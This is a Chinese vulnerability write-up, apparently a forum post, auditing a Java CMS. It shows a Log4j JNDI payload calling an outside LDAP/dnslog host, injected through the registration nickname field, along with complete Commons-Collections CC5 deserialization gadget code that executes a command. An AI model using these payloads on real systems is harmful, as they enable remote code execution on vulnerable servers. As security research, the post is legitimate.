0x01 前言
前两天xz社区的某位师傅,已经分析了该cms。所以本人在该原有发现漏洞的基础上,进行了更深一步挖掘。
该师傅的文章:https://xz.aliyun.com/t/11137#toc-5
环境部署不做过多讲解,简单说一下遇到的"坑":
在该项目的resources配置数据库以及redis。redis和mysql的密码都是通过aes加密的,工具类在:
com.feiqu.common.utils.AESUtil,避免了明文展示密码。

0x02 Log4j
首先跟着复现了一波fastjson的反序列化,但是JSON.parseObject无可控点。

第二处,redisString.get这里,是由xz的师傅已经分析过。无利用点。但是在上面中发现了logger.info()。

所以现在测试一下log4j这个洞,可以发现是存在的

public class Test1 {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(logtest.class);
        logger.info("${jndi:ldap://17zuzp.dnslog.cn}");
    }

}


所以在com.feiqu.web.controller.UserController中home函数的944行,是一个绝佳的利用点

经过测试,在注册的时候填入payload即可。

在根据提供的GetMapping得知url地址为:127.0.0.1:8080/u/12/home。

日志信息

DNSLOG回显如下:

经过在注册的时候,也存在log4j的使用。

payload还是在昵称这里,可以看到前端页面中name对应了FqUser工具类中。

接下来无脑操作打dnslog测试

至于其它的log4j利用点就不找了,相对于该师傅找到的log4j利用点,本人找的两个是比较容易利用的了。
0x03 collections3反序列化漏洞(失败)
在包中发现了该组件,这就用到了CC链系列了。这里用CC3版本。因为本人在进行测试CC4版本的时候。其中有些类不能被序列化了~这就凉凉。

直接拿CC5打就行了

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedmap = new TiedMapEntry(outerMap,"keykey");

BadAttributeValueExpException POC = new BadAttributeValueExpException(1);

Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(POC,tiedmap);

ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc5.bin"));
objectOutputStream.writeObject(POC);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc5.bin"));
objectInputStream.readObject();
objectInputStream.close();

简单分析一下CC5这条链的过程。
利用链如下:

1 ObjectInputStream.readObject()
    2 BadAttributeValueExpException.readObject()
        3 TiedMapEntry.toString()
            4 LazyMap.get()
                5 ChainedTransformer.transform()
                    6 ConstantTransformer.transform()
                        7 InvokerTransformer.transform()
                            8 Method.invoke()
                                9 Class.getMethod()
                                    10 InvokerTransformer.transform()
                                        11 Method.invoke()
                                            12 Runtime.getRuntime()
                                                13 InvokerTransformer.transform()
                                                    14 Method.invoke()
                                                           15 Runtime.exec()

前面的不过多讲解,相信大家都能看懂,这是一个命令执行

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

接着往下分析

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedmap = new TiedMapEntry(outerMap,"keykey");

LazyMap初始化如下,会将transformerChain存入到factory

之后在LazyMap.get中调用到了transform

那么谁会调用到LazyMap.get呢?
在TiedMapEntry初始化会将LazyMap作为第一个参数传入

所以此时关注有没有map.get方法,这样就会调用到LazyMap.get方法

又又又一个问题,TiedMapEntry.getValue()谁会调用?
而利用链中写到了,TiedMapEntry.toString(),其实toString调用了getValue(),从而调用到LazyMap.get方法

谁会调用TiedMapEntry.toString()?这里通过反射,将val设置为了TiedMapEntry(tiedmap)

BadAttributeValueExpException POC = new BadAttributeValueExpException(1);
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(POC,tiedmap);


最后在readObject的时候,执行了toString方法。

但是在最后,只找到了一处readObject,所以说这个漏洞是失败的...

至于后续SQL注入的话,找了好几个,但参数都不可控,也就放弃了。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖